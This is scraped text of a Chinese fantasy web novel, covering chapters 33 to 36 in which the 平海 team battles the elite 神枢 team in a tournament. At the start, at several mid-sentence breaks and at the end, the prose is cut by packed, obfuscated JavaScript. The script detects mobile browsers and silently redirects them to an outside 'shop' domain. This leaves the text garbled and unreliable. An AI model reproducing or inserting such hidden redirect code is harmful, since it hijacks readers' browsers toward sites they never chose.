d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715722|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个腿甲,应该是用了连骨秘法,这个秘法我也只在古书中见过,他肯定不简单。总之,你再帮我去查,这份资料只到七年前,我要他全部的资料,哦不对,我要整个平海分司代表队的资料。” 被队长嫌弃了的连奇委屈巴巴的挪到一边:“知道啦赫队,但是这个平海值得费这么大劲吗?家主说让你多在帕拉帝安代表队和梵塞卓斯代表队上下功夫。” “这个平海看着不起眼,队里的实力可不一定逊色,他们的参赛名额是堂哥特批的,我当然要特别关注。”赫晟焕瞥了连奇一眼,“别废话,赶紧查。” 连奇听到“堂哥”这个词一愣,后知后觉反应过来,赶忙冲赫晟焕做了个“嘘”的手势:“赫队!家主不是说了不让你叫……叫弑神者大人堂哥吗?” 赫晟焕一听就炸毛了:“为什么不能叫?为什么?从血缘上来讲他就是我堂哥!家主都能一口一个我堂哥的名字叫着,我怎么就不能叫一声堂哥啦?说到这事我就来气,前几天我堂哥回来参加家族会议,为什么没有人告诉我?为什么人走了我才知道……” 连奇开始后悔自己为什么要戳这个大少爷的痛点了,每次一提到弑神者,赫队就会从一只高傲冷酷的雷泽龙变成炸毛的潦草狗。 当然,他也只敢在心里蛐蛐,否则这个大少爷能当场喷火。 “那个什么……我查资料去了……哎呀好多资料要查呢,我先走了啊赫队!”连奇趁赫晟焕换气的空隙脚底抹油溜走,“拜拜赫队!” 还顺便把门关好,避免赫晟焕崩塌的人设被别人看见。 宁九燃他们在赛区的一食堂打了饭,找了个空着的桌子围在一起吃。 “燃姐,这个羊排真的好吃!”路嘲风把装着羊排的小碟子推到宁九燃面前,“大家都尝尝,火候刚好,外酥里嫩,调味堪称一绝!” 宁九燃一边夹起一块羊排,一边没忍住调侃:“嘲风,你去当推销员,应该也是个人才。” “谢燃姐夸奖。”路嘲风笑嘻嘻地给自己也夹了块,塞得满嘴流油,“但是……唔……那就屈才了。” 宁九燃还想再调侃两句这个人才,个人终端响了起来,是唐宛芬的通讯。 她点开接通,就听见唐宛芬温柔的声音:“小燃,吃了吗?” “唐姨,我吃着呢,家里是有什么事吗?”宁九燃应着。 离开平海有些天了,分别的时候也非常仓促,连招呼都没打,确实有点想唐姨他们了。 唐宛芬的声音里带着笑:“没事没事,家里都好,我们今天都在看你们的比赛,隔壁的邻居都来了,说你们真了不起,为平海争光呢。” “唐姨!”路嘲风凑过来,“还记得我吗?我小路。” “记得记得呀,小路,我今天在直播画面里也看到你了,小伙子又帅啦。”唐宛芬在通讯里笑着说,“你吃了吗?” “我们都在一块吃饭呢。” 宁九燃把个人终端移得离路嘲风近了些,方便这家伙发挥。 路嘲风语气一换,说:“哎呀唐姨,这请神城的伙食真一般,这么高级的食堂做的菜也远没有您做的好吃,我可想您做的菜了。” 四人齐刷刷抬头看向路嘲风:……一般?那这个吃得满嘴流油的人是谁? 此人哄女性长辈开心太有一手,唐宛芬已经完全忘记是给宁九燃打的通讯,开始对路嘲风嘘寒问暖。 “失宠”的宁九燃自愧不如,然后把装羊排的碟子挪到了路嘲风夹不到的地方。 “诶,九燃,明天的对手出来了。”辰刻打开个人终端刚刚收到的信息。 34. 第34章 宁九燃看辰刻的脸色稍微凝重了些,从路嘲风手上拿回个人终端说:“唐姨,我们现在有点事,晚些再给你打回去哈,你跟叔叔多注意身体,拜拜!” 唐宛芬连声应:“好的好的,你们忙吧,要好好吃饭呀。”然后就挂掉了通讯。 辰刻把出来的对阵表投了个小光屏,上面显示明天的对阵表。 宁九燃看向光屏:“居然是神枢代表队。” “好耳熟!这是不是那个三个之一的什么……”路嘲风把碗里最后一口肉放进嘴里,叽里咕噜地说。 辰刻说:“没错,请神司主司直属三大队,神枢代表队,神弈代表队和神罡代表队,由请神司主司直接培养的精锐提灯人队伍,在这次大赛的胜率预测中仅此于四大家族代表队,被称为‘请神三队’。” 路嘲风咽下嘴里的东西,张口说:“第二轮……就碰实力这么硬的吗?” “而且,神枢代表队应该是三队当中实力最强的。今天早上对上他们的队伍没打就认输了。”辰刻犹豫了下,慢慢说,“我们跟他们打,必定损耗极大,而且输赢难断。我想了想,初赛阶段胜一轮积两分,平局一分,所以如果明天不跟神枢打,我们既可以保留实力不受伤,之后还是有机会出线。九燃,你怎么看?” 宁九燃的指尖在桌面上一下一下轻叩,抬头环顾其他三人:“你们怎么想?” 辰刻给的建议很中肯,以神枢的实力,他们很有可能损耗惨重地输,甚至会影响到后面的比赛。 但要说直接认输…… 宁九燃光是观察大家的表情就知道心里会不痛快。 路嘲风表情变了变,先开口:“燃姐,我们没有赢的可能吗?” 他一问,姜滚晁和林珰珰就看向她,辰刻也抬头看来。 没有赢的可能吗? 宁九燃没有怎么犹豫,语气肯定地说:“当然有。” “那就打!”路嘲风咧嘴笑了,“燃姐,反正早晚也要对上强者的,不是他们也会是四大家族的代表队,不是说这个还稍微逊色点吗?就当练练呗!” 姜滚晁也粗声附和:“我同意!我皮厚抗揍,可以第一个上!” 林珰珰抿了抿嘴,细细的声音挤进来:“如……如果受伤了,我给大家治疗,没……没问题的。” 宁九燃偏头去看辰刻:“辰刻,你怎么想?” 辰刻声音温和,笑着说:“我听队长的。” 宁九燃沉默了两秒,宣布:“那就打。” 吃完饭后,五人就去了训练场备赛。请神司主司提供的训练场非常高级,全态训练场边上接着其他训练区域和休息室,自成一体,所有队伍的训练都可以完全隔开。 大家讨论了战术和大致出场顺序之后,就开始分区域进行训练。 两个小时后,宁九燃收回神相,到场边拧开一瓶水,刚喝了一口,个人终端就亮了——是包吉利打来的通讯。 一接起来,包吉利响亮的嗓门就让宁九燃耳膜一震:“九燃!到那么老远还给我找活呢!” 宁九燃默默调了下音量:“吉利老板,雾中草……” 包吉利迅速换了语气:“找好了,理得整整齐齐,你要是需要,祖宗十八代我都能给找全。” 宁九燃已经可以想象包吉利听到雾中草三字后,在通讯那头笑得跟招财猫似的样子了:“祖宗十八代不必,我是要打他,又不是要供他,赶紧说说吧。” “啊行,这个神枢代表队资料不少,我已经发给你了。”包吉利说,“实力确实强,但我在查的时候,发现有个点挺特别的。” 宁九燃:“什么?” “这个神枢代表队的队长神天枢,居然是赏金猎人出身。”包吉利的声音里充满不可思议,“他16岁成为赏金猎人,天赋异禀,三年后在出任务时被请神司发现收编,此后请神司洗掉他的所有背景,花了五年时间把他打造成了神枢代表队的队长。不过吧,还是被我挖出来了。” “赏金猎人?”宁九燃拧好瓶盖,走到休息区坐下,声音沉了几分,“出过多少任务?” “他当时年纪小,竞争不过排名靠前的猎人,但也干了三年,手上不会少于二十条人命。”包吉利说。 请神司主司竟然会培养这种身负污点的提灯人,还打造成神枢代表队的队长,缺人缺到这种地步了?真是有够可笑的。 看来,请神司这些年想要制衡四大家族,确实做了不少破格的事。 宁九燃:“你帮我找到对付他的办法了吗?” 包吉利在通讯里叹口气:“难呀小丫头,神天枢是2s级别的罗刹神格,现在已经到了四重神相。他大概是为了向请神司证明自己,摆脱曾经肮脏的身份,此前参加的区域性比赛几乎没有败绩,好胜心不是一般的强。” “赏金猎人出身,没有败绩,好胜心……”宁九燃靠在座椅上想了想,眼神微转,“我知道了,你再帮我整理一份他们历次比赛的出场顺序。” “小丫头,我提醒一句,你们跟他们打,要注意自保。”包吉利说,“我现在去给你弄资料,先挂了。” “谢啦吉利老板。”宁九燃挂了通讯,五分钟后收到了包吉利发来的出场顺序整理和预测。 神枢代表队仗着强大的实力,出场顺序几乎不变,由弱到强,队长神天枢压轴。一般的队伍开头就翻了,偶有熬到最后的,遇上神天枢也没胜算。 宁九燃认真地翻看了神枢代表队其他四位成员的神格资料,全都到了三重神相,两个s+,两个2s,确实是精锐队伍,一般的队伍看一眼就知道自己不可能赢了。 不过吧,我们也不是来当一般的队伍的。 宁九燃起身回到训练场,让大家都聚过来:“我刚刚研究了下神枢代表队的资料,现在对我们明天出场的次序做点调整,明天嘲风第一个上场。” 路嘲风激动地一握拳,随即拍拍胸脯:“放心燃姐,我一定来一场漂亮的首秀!” 辰刻提醒他:“别搞那些花里胡哨的,气的人下了场还想揍你。” 以他对路嘲风的了解,这家伙有把人气活站起来揍他的本事。 “辰哥,这……你怎么能这么说我……”路嘲风非常作的捂住心口,捏出悲伤的语气。 辰刻碍于形象没翻白眼,推了他一把:“别作了啊……” “不,要作。”宁九燃突然开口,斩钉截铁地说,“嘲风,明天让你第一个出场,如果能赢,就一定要让对方觉得输得耻辱。” 路嘲风:“啊?” 宁九燃看他:“办不到?” 路嘲风回过神,嘴角直冲耳根:“没问题!交给我你就放心吧燃姐!” 宁九燃点点头:“嘲风之后,就是我、滚晁、辰刻最后是珰珰。” 几人应声。 “对了,小铃铛。”宁九燃转向林珰珰,交代道,“我是说万一,万一明天我们四个人都输了,你不要上场,直接认输,明白了吗?” “我……”林珰珰的神情暗了一瞬,点头应道,“好的姐姐。” “好,那大家继续练习,嘲风你来,我们探讨一下气对手的技巧。”宁九燃冲路嘲风招手。 “燃姐,你要助我一臂之力吗?”路嘲风激动地蹦过来,“我记得肖主任说过,你才是我们几个人当中,在这方面造诣最深的人!” “……你的造诣也不浅。”宁九燃咬着牙说出这句话,一把把蹦跶的路嘲风拽住,拎进边上的休息室。 林珰珰站在原地,看了看四散去练习的几人,抬起右手浮现蓝色的神力,神色有些黯然。 如果……我也能保护他们就好了。 次日,主赛场。 “女士们先生们!一场令人激动的比赛即将开始!今天要出场的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路嘲风清清嗓子,认真地说:“我还没开神相呢。” 捷闵无语了:“那你刚刚在磨叽什么!没开是你的问题,比赛已经开始!”说着,他的拳头直接重重地砸下去。 路嘲风身形一偏,堪堪避过拳头,趁他拳头砸入地面之时翻身到他的胳膊上,踩住他的肩膀,嘴上也没闲着:“怎么说打就打呢?我是想等你先变完再变,让这么多观众先给我们定个别的输赢呢。” “什么输赢?”捷闵没反应过来,身形变大之后,思维变得有些迟钝。 “那当然是美貌上的输赢啦~”路嘲风在他的肩上一借力,跃到空中翻身,指尖搭在唇间低声,“蜃龙神相。” 一瞬之间,他的头发顺风延长,斑斓的色彩染上发稍,眼尾浮出透明的龙鳞,在阳光下隐隐折射着七彩光晕,衬得那双勾人的桃花眼更为含情脉脉。 路嘲风将搭在唇间的手指扬向观众席,绚烂的光点顺着他的手指绽开,而他便在漫天的光点中优雅落地。 “天哪!好帅啊!” “他的眼睛!!我……我的心跳!我要晕了!” “救命太帅了吧!” “他的头发好漂亮!” …… 观众席上连连迸发出激动的呼声,不少年轻的女孩甚至起身跑到了玻璃挡板前红着脸尖叫。 路嘲风非常受用地冲她们又抛了个飞吻,然后转过身,对捷闵露出一个迷人的微笑:“看吧,我赢了!” 捷闵:……我是有病才会问那一句。 不过,这个花蝴蝶已经彻底成功激怒他了,他这辈子最讨厌别人跟他比长相!! 捷闵怒吼一声,神力暴动:“小白脸去死!!!” 35. 第35章 神力外放的冲击震得路嘲风连退数步,堪堪稳在场地的边缘,他低低地喘了口气,俯身飞踏上前,手心浮出白色光刃甩向捷闵:“海市光刃!” 光刃极速飞旋而去,捷闵仗着身形庞大不避不闪,右拳凝聚神力直直对撞上去,大喝:“雕虫小技!” 光刃与外放的神力相撞,转出阵阵强光,随着捷闵大吼一声加叠神力,光刃破碎四散。 捷闵握了握拳:“你就只能给我挠痒痒吗?” 路嘲风轻笑一声:“那你可想错了。” “什么?”捷闵话音未落,身后冷意骤起,没等他转过身,另一道光刃已飞转而来,在他背上连刮数道血痕。 路嘲风抬手用神力牵引,光刃避开他转过身的撞击,却不小心擦过他刚好转来的脸侧,在他脸上留下一道划痕。 “诶诶诶!我不是故意的啊!”路嘲风把光刃收回手中,忙抬手示意,“不要碰瓷嗷!” 打人不打脸这事上,他还是有原则的。 鲜血顺着伤口流下,捷闵摸了一把,火辣辣地疼。 他磨了磨牙,拳头捏得嘎嘣响。 队长说,这群渣滓不值得我用尽全力,但是这个小白脸实在太气人,忍不了了!! 捷闵在原地站定,全身的神力往中心聚拢,周身的气流开始绕着他旋转,身体继续膨胀。 这是……大招了? 路嘲风站在一边,心想:火气这就到顶峰了?我气人的进度这么快? 宁九燃站在场外,她一直着观察对面的神天枢。他跟她想象的差不多,外表被请神司包装得非常好,战斗服笔挺,五官硬朗,立在那自带气场与威严,现场不少观众是为他而来, 但是,那份属于赏金猎人的阴鸷是抹不掉的,他看向路嘲风的眼神不像是在看对手,更像是在看猎物。 不过,那份神情现在还是平静的,因为他不认为猎物会“逃掉”。 这时,神天枢似乎感觉到宁九燃的视线,抬眼看来,眼神中带着审视与寒意。 宁九燃没有错开视线,而是环抱双手继续看着他。 她想:会有你不平静的时候。 场上,捷闵的身形已经变得巨大,他的嘴张大到离奇的程度,场上的一切被神力气流带着旋转。 随着他喉咙中发出闷响的怪声,他的嘴巴如黑洞一般开始疯狂吸纳场上的一切。 主持人察觉到危险,连忙给飞行器加速,嗖的飞到观众席的保护屏障内,嘴里不忘解说:“天哪!这应该就是捷闵的三重神技万象吸纳!无差别吸入周身的一切神力,这是他的大杀招,许多神力强过他的选手都是败在这招之下!” “捷闵还是急了。”神天枢站在场外,微微皱眉,“不过也快结束了,平海的那个神力层级应该不低,刚刚如果拼尽全力阻止捷闵蓄力,他说不定还能再磨一会,但现在已经晚了。” 他就只剩被捷闵吸尽神力退场这一个结局了。 路嘲风释放神力稳住身体,连着释放数把光刃,却都在靠近捷闵的时候瞬间消解,然后被无差别地吸入。 路嘲风抬手看看身体四周,身上的神力仿佛受到了吸力开始外散,如果想阻止,就得花更多的神力去对抗。 燃姐说的不错,捷闵这招确实狠。 “平海代表队的选手僵在原地不动,这是已经放弃抵抗了吗?”主持人躲在玻璃屏障后面仍不忘解说,“不过,除非神力层级远超捷闵,否则已经没有机会翻盘了。在这关键的时候,平海队的选手是否会进行最后的挣扎呢?” 时间差不多了。 路嘲风在心里默默地数着,然后抬起头,脸上刚刚的窘迫一扫而空,露出笑容:“谁说是挣扎的?是赢!” 主持人一愣:这是开始说瞎话了吗? 就看见捷闵庞大的身躯忽的一僵,脸色突然泛紫,口中的吞噬气流停止,他猛的掐住自己的脖子,神情痛苦,身体开始控制不住地颤抖。 “这……场上发生了什么!”主持人被这一反转惊得大喊。 神天枢愣了下,反应过来咬牙道:“是毒!那小子开头洒的光点是毒!” 路嘲风不紧不慢地向晃晃悠悠的捷闵走去,手中再次凝出光刃,轻笑一声:“还真以为我只是耍帅吗?” 他在显现神格时洒下的光点就是他的一重神技——七彩毒瘴,他跟蝴蝶似的走到哪洒到哪,毒瘴早已满场都是。 捷闵这么一吸,刚好把毒瘴吸的干干净净,正中他下怀。 “那么现在——”路嘲风飞身而起,双手握住光刃将捷闵击出场外,发出“咚”的巨响,“就让我用''雕虫小技''打败你吧。” 主持人愣了数秒,终于飞入场内宣布:“第……第一轮,平海代表队路嘲风胜!” 观众席窸窸窣窣响起讨论声。 “平海第一轮居然赢了?” “真的是想不到啊,我还以为这个小白脸只有脸长得好。” “最想不到的,难道不是神枢第一轮输的这么难看吗?” “对啊,就这样被打出场地,神枢怎么……” …… 神天枢的脸黑了又黑,胸口剧烈地起伏。 他受不了这样的耻辱,今天这场必须扳回来! “冷姒!”他叫住准备上场的队员冷姒,低声狠道,“给我下最重的手,不死就不违反规则,我要他输得非常难看!” “队长?”冷姒怔了下。 “听明白了吗?!”神天枢眼神狠戾,“不把他打残别回见我!” “是。” “下面有请神枢代表队的下一位选手冷姒,对阵平海分司代表队的路嘲风!” 主持人介绍完就退出了场地。 冷姒走上场地,开启玄冥神格的神相,眼角结出冰霜。 她的身姿高挑,肌肤苍白如雪,双眸发蓝,每走一步,寒意加重一分。 路嘲风刚作出迎战的姿态,眼睛一眨,冷姒原本站立的位置只留下一片冰雾残影。 “嗤——!” 路嘲风险之又险地偏头,一道无形的冰寒刃紧贴着他的脸颊擦过,留下极深的血痕。 几缕发丝在被切断的瞬间就冻成冰屑粉碎,刺骨的寒意直接甚至穿透了他的神力防御,让半边脸颊瞬间麻木。 好快!好强! 路嘲风退开数步,释放毒瘴,斑斓的毒雾瞬间笼罩前方,兼具致幻与腐蚀,是他最擅长的控场手段。 “绝对零度!” 冷姒的声音响起,毒雾在靠近她周身时竟发出“咔咔”轻响——色彩斑斓的毒雾被瞬间冻结成彩色的冰晶粉尘,簌簌落下! 糟了,被克制了! 路嘲风转身锁定冷姒位置,立刻发动“惊鸿一瞥”,直视冷姒。 冷姒动势微微一滞,眼神出现刹那的混乱。路嘲风抓住这转瞬即逝的机会,双手一拉,无数光刃凭空凝结,如暴雨般向冷姒倾泻而去! 但就在光刃及体的前一刻,冷姒眼中寒意更盛,强行从混乱中挣脱。她单手向前虚按:“永寂冰棺!” 一座巨大的玄冰棺椁瞬间将她自身包裹在内。 “砰砰砰砰!” 光刃撞击在冰棺上,炸开漫天冰屑,但无法穿透。下一秒,冰棺爆裂,冷姒毫发无伤地从中射出:“瞬冰斩!”手中冰刃直刺路嘲风胸口! 路嘲风极限侧身,冰刃擦着他的胸口掠过,血还没来得及流出,一层厚冰就瞬间覆盖了他半边身体,刺骨的寒意让他的身体骤然僵硬。 “不好,嘲风有些劣势了。”宁九燃皱眉。 这个冷姒上来甚至没有缓冲,招招发狠,完全不留余地。 路嘲风的身体被僵住,心知不能再被动挨打,可神力在上一轮消耗太多,竟一时无法破开冰封。 不行!这样下去要输! 他猛一咬牙,强行爆发最后的神力:“镜花水月!” 擂台上瞬间出现四个路嘲风,从不同方向朝冷姒袭来,同时再次凝结出光刃。 冷姒眼神微凝,但依旧冰冷。 “强弩之末。” 她双掌猛地按向地面,冷声释放四重神技:“终焉凋零!” 整个擂台刹那间化为纯白死域,强大的神力甚至让周围的玻璃屏障都结满冰霜。 路嘲风的三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750188|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分身在寒冰中瞬间破碎,主体受反噬喷出鲜血,最后一丝护体神力散去,整个人被彻底冰封在厚重的玄冰之中。 “嘲风!”宁九燃在场外上前数步。 辰刻和姜滚晁也跟着上前,脸上全是担心与紧张。 “该结束了。”冷姒走近被冻住的路嘲风,他的脸上和胸前全是血迹,神力也已耗尽,看着非常狼狈。 她微微抬手,给了他一丝呼吸的空间:“你自己认输吧。” “嘲风!认输!”宁九燃立刻冲场上喊,“我能对付她!” 他伤的太重了,必须马上治疗。 “咳……咳咳……”路嘲风闷在冰中呛了几声,铁锈味从嗓子里漫上来,眼前禁不住发黑,身体几乎没有知觉,“认……认……” 冷姒瞥了下路嘲风,转身望向队长神天枢,冲他点了点头。 “认……输?”路嘲风的声音磕磕绊绊地传出,“我长得……长得这么帅,认输也……也太难看了……” 他用力眨了几下眼,视线里只有冷姒模糊的影子。 但是够了。 “什么?” 冷姒刚转回身,就听见“咔嚓”一声——冰裂了! 轰! 冰层下一刻彻底破碎,脱困而出的路嘲风身上全是被冰屑刮出的伤口,血迹溅上脸庞。 怎么会! 冷姒一惊,但路嘲风没有给她反应的时间,借着冰层炸裂的动能飞扑向冷姒,眼中彩光爆闪,冷姒防备不及,竟被惊鸿一瞥困住陷入混乱。 下一秒,路嘲风已到身前,染血的双臂死死箍住冷姒:“抓住你了!” 两个人瞬间纠缠在一起,朝场地边缘猛冲而去。 冷姒回过神,被禁锢住的右手放出瞬冰斩,直接反向刺穿路嘲风的大臂。 路嘲风闷哼一声但手丝毫未动,咬着牙沙哑地低吼:“下去!!” 冷姒还没来得及再次挣扎,两人纠缠的身影就已跃出场地边界,沉重地砸落到场外,碎开无数冰屑扬尘。 全场一片寂静。 主持人在巨大的惊愕中回神,颤声宣布:“神……神枢代表队冷姒先落地出界,平海……海分司代表队路嘲风胜!” 观众席爆发出讨论声。 “平海……平海居然又赢了!” “神枢这也太丢人了,不会一个个被打败吧!” “我赛前还看好他们来着,看错了!” …… “路嘲风!”宁九燃用最快的速度冲到路嘲风身边,小心地将他扶起来,其他三人也都跑着聚过来。 “你……”宁九燃看见他的虹膜变成了白色,双目无神,“你的眼睛?” “咳咳咳……咳咳……”路嘲风连呛数声,血从嘴角溢出,声音却还强行透着点笑,“没神力了……我强行调用外界……色彩之力,反……反噬而已,过几天……就好了。” 宁九燃有些恼火:“我不是说过……” “你说过……打不过就认输。”路嘲风断续的声音打断她,“但有点……不爽,我现在赢了,一带……二……赚了……” 宁九燃气得想白他一眼,又想到他现在看不见,白了也是浪费,看他伤成这样,声音还是控制不住软下来:“下次不能这样了。” “燃……燃姐,这话……耳熟。”路嘲风咧开嘴。 宁九燃把他扶到辰刻手上,然后转向林珰珰:“小铃铛,交给你了。” 林珰珰用力点头,那边两眼摸瞎的路嘲风不知道冲哪笑:“铃铛妹妹,这次……可……真要麻烦了。” 林珰珰看着他身上的血,眼睛一红。 宁九燃站起来,暗调神力隐去脖颈后的禁印,束起长发,飞身上场。 她冷眼看向神枢代表队的方向,声音中是压不住的寒意:“下一轮的,上场吧。” “平海路嘲风重伤,失去作战能力。”主持人喊道,“下一轮,平海分司代表队队长宁九燃,对阵神枢代表队的——” “等等!”忽然有人出言打断。 是神天枢。 他慢慢走上场,沉声说:“这一轮,我上场。” 36. 第36章 神天枢的突然上场让主持人一愣,随即提醒:“神枢代表队队长,按照出场顺序你是最后一位,如果你要现在上场,你前面的两位选手将视为弃权。” “对,他们都弃权。”神天枢强调了一遍,“是弃权,不是输。” 他现在非常恼火,不能再接受那群废物一个个输给这个不知名的小队了。这样下去,神枢代表队以后还如何立足? 他要亲手解决这几个人,挽回神枢代表队的地位! “那……那好!”主持人宣布道,“接下来由神枢代表队队长神天枢对战平海分司代表队队长宁九燃,比赛开始!” 神天枢看向宁九燃,神情不屑:“我还是头一次对战S级神格,平海这种小地方,已经缺人到让S级来当队长了吗?” 宁九燃直视他,气场丝毫不输,笑道:“是呀,S级神格队长的队伍,拿下了你们两名队员呢。” 神天枢的眼神暗了几分。 “再说了,我一个守法的联邦公民,履历干净,家世清白,不管凭着什么当的队长,也没什么见不得人的。你说对吧——”宁九燃说到这,无声地用口型说出了剩下四个字,“赏金猎人?” 神天枢瞳孔一震:她怎么会知道! 下一秒,他的情绪就被怒火和羞愤控制,这是他藏的最深的秘密,最屈辱的历史。而眼前这个不是从那个小城来的人,站在他面前用挑衅的语气扯下他最不愿为人所见的一面。 惹怒他,就要付出代价! 他一挥手,神相开启,罗刹鬼纹爬上脸侧,身形微晃,三道凝实的罗刹鬼影,带着撕裂空气的尖啸扑杀而来。 宁九燃立刻开启神相,红白交织的火鹤神纹在眼尾浮现。 一抬头,鬼影之下,视野和退路皆被封死。 但她眼神一凝,不退反进,纤细的身影以极快的速度闪向前,主动迎向左侧的鬼影,伸手一握,如鹤羽般的火焰光刃骤然出现。 “焚影点杀!” 光刃击刺鬼影的同时,火焰如万千松针散开,在光刃刺穿鬼影之后爆裂燃烧。 那道鬼影剧烈扭曲,发出一声令人脊骨发麻的尖嚎,在火焰中消散。 而与此同时,另两道鬼影突然一顿,随即自焚消失。 宁九燃收刃落地,微微喘息,指尖火焰微绕。 神天枢的本体在不远处显现,眼里暗藏讶异。 三道罗刹鬼影几乎一模一样,而这个宁九燃却没有任何犹豫地全力刺向他本体所在的鬼影。 他还从未遇见过能这么快破解他这招的对手。 “看破我的罗刹鬼影,是有两下子。”神天枢上前两步,打量着宁九燃,“只不过,你一个三重神相的s级神格突破我的神技,消耗了不少神力吧?” 宁九燃站定,调整好呼吸,朗声笑道:“也还好,热了个身。” 神天枢皱着眉:“你们平海队的人,都这么能装模作样吗?” “当然了!”宁九燃环抱着手,脸上笑意不减,“而作为队长,我装模作样的本事,最是炉火纯青。” “那就看你能装到什么时候!”神天枢森然低吼,“血屠罗刹身!” 声音一落,他身形拔高,肌肉虬结,身体四周的暗红煞气几乎化为实质。 叠加,千魂寂灭爪! 神天枢挥出双爪,带起漫天凄厉鬼哭,爪风撕裂躯体更有侵透神魂之势。 宁九燃连退数步,将移动速度加到极致,在密集的爪影中飞速穿梭,煞气擦过她的手臂,留下一道黑痕,被啃噬的剧痛由内而外敲震而出,嘴角甚至溢出一丝鲜血。 “退场吧,宁九燃!” 无数爪影将宁九燃逼至场地边缘,神天枢的嘴角已经浮起一抹笑。 然而下一秒,这抹笑僵住了。 退至边缘的宁九燃神色变换,稳身站定,手指飞速结印往身前一抵,金色流光瞬间蔓延她的周身,爪影攻击散去后,她毫发无伤地站在原地。 “这是……这是神印!”主持人激动地解说,“神印绝对金身,三秒之内无效化一切攻击!简直不敢相信,平海队长宁九燃竟然用出如此高难度的神印!这是绝对的天赋能力啊!比赛实在太精彩了!” 主持人说完,看向飞行器上的光屏,上面有主赛场和各分赛场的直播收视率,主赛场的收视在刚刚两分钟十几秒内直线飙升。 直播间的弹幕已经有人开始狂刷“宁九燃”的名字了。 神印……天赋技能? 神天枢狂啸,攻势再催。 那也只是个三重神相的s级!我就耗尽你的神力! 宁九燃眼神微动,抓住他旧力刚去、新力未生的微小间隙,双手再次结印,巨大的火焰囚笼轰然压下,将啸叫着的无数鬼爪笼罩在内。 “居然……又是新的神印!”主持人的眼睛瞪得眼珠子都快掉出来。 这个平海分司的队长到底什么来头?他解说过这么多比赛,还是头一次看到这种小队伍里会出这样的人才! 什么?! 神天枢一怔。 宁九燃右手高抬挥下:“千羽烬!” 无数燃烧着的鹤羽如箭雨落下,将困在火焰囚笼中的鬼爪全部刺穿烧尽。 她立于燃烧的火焰之后,红光与眼尾的神纹相应,火焰热流吹扬她束起的长发。 神色平宁,风华无尽。 为什么!明明就是一个连名字都不配被提起的队伍!为什么会让他们这么狼狈! 神天枢的拳头捏得嘎嘣响,双眼充血。 区区一个s级神格,早该在鬼爪下被撕碎,为什么还能扛住我的攻击?! “神天枢。” 神天枢耳边一嗡,打了个激灵,混乱里,熟悉的声音响在他脑中。 “别忘了我们为什么要培养你,把你从那个肮脏的地狱里拉出来。” “如果让我们失望,你贪恋的名誉、地位和干净的身份,全都会消失。” “你是个罪人,你会被审判。” …… “不……不……”神天枢捂住耳朵,疯狂摇头,“不可以!绝对不可以!” “神天枢!” 谁?! 神天枢猛一抬头,发现是宁九燃高声喊他。 对,打败她……不……不……杀了她!杀了她就没人知道我的秘密了! “对,没错。”神天枢血红着眼,狠戾和杀气涌上来。 杀了她,变成意外事故,也不会有人追究我的责任,神枢就还是神枢,而我也还是队长神天枢! “该结束了。”神天枢站直身体,声音狠厉,“四重神技,无尽地狱绘!” 滔天的血色煞气以他为中心轰然爆发,瞬间覆盖了整个竞技场,将他们完全笼罩在内。 赛场上空的天变为暗红,冤魂飞舞,宁九燃周身的火焰鹤羽在煞气的侵蚀下迅速黯淡熄灭。 宁九燃感到浑身一沉,五感被严重干扰,神力运转滞涩,眼前的景象开始变得模糊。 “无尽地狱绘!这是神天枢最为著名的杀招!”主持人早早躲到了玻璃屏障后,但还是受到了煞气的影响,声音有些发颤,“就连六重神相的强者都未必能安然无恙地离开这个领域。” “在我的地狱里,化为绝望的枯骨吧!”神天枢的声音从四面八方传来,无数个他的身影在血色中若隐若现,散发出致命的杀机。 而此刻,领域外的人只能看见整个场地被血色包裹,里面什么都看不清。 “我知道神天枢的这个神技,无尽地狱绘会无限放大人的心魔和一切痛苦,侵蚀神力甚至会损毁神格。困入领域,就几乎成了神天枢案板上的鱼肉!”辰刻的脸色变得非常难看。 “咳咳……辰哥,燃姐她……有分寸的,相信她。”路嘲风在一旁虚弱地说。 由于赛规要求,参赛队员除非有性命之忧,否则不得提前离场。所以姜滚晁找工作人员抬来了一个担架让他躺在上面,林珰珰一直在给他治疗。 “她有分寸?”辰刻回头看了眼路嘲风,这伤到的也不是头啊…… “辰刻,放心。”姜滚晁走到辰刻边上,拍拍他的肩膀,低声说,“先看看,真有问题,我们就动手,命比参赛资格重要。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762820|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 